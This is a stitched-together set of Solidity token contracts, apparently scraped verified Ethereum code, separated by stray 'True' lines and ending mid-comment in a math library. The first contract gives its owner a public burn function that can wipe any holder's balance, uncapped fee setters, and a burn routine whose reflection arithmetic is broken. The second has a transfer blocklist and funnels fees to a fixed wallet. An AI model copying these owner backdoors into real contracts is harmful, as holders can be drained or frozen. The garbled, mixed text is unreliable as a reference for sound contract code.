_isExcludedFromFee[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setCharityFeePercent(uint256 charityFee) external onlyOwner() { _charityFee = charityFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tCharity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tCharity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tCharity = calculateCharityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tCharity); return (tTransferAmount, tFee, tLiquidity, tCharity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rCharity = tCharity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rCharity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeCharity(uint256 tCharity) private { uint256 currentRate = _getRate(); uint256 rCharity = tCharity.mul(currentRate); _rOwned[_charityWalletAddress] = _rOwned[_charityWalletAddress].add(rCharity); if(_isExcluded[_charityWalletAddress]) _tOwned[_charityWalletAddress] = _tOwned[_charityWalletAddress].add(tCharity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateCharityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_charityFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousCharityFee = _charityFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _charityFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _charityFee = _previousCharityFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _rOwned[account] = _rOwned[account].sub(amount, "ERC20: burn amount exceeds balance"); _tTotal = _tTotal.sub(amount); emit Transfer(account, address(0), amount); } function burn(address account, uint256 amount) public onlyOwner { _burn(account,amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }

True

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/** *Submitted for verification at Etherscan.io on 2021-10-14 */ // SPDX-License-Identifier: Unlicensed /* BabyMarvinToken https://t.me/genshinimpacterc */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GenshinImpactERC is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Genshin Impact"; string private constant _symbol = "GenshinImpact"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x038560bD2cd22c7f771B16B1543c10d3f8b4Df90); _feeAddrWallet2 = payable(0x038560bD2cd22c7f771B16B1543c10d3f8b4Df90); _feeAddrWallet3 = payable(0x038560bD2cd22c7f771B16B1543c10d3f8b4Df90); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 10; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000* 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. 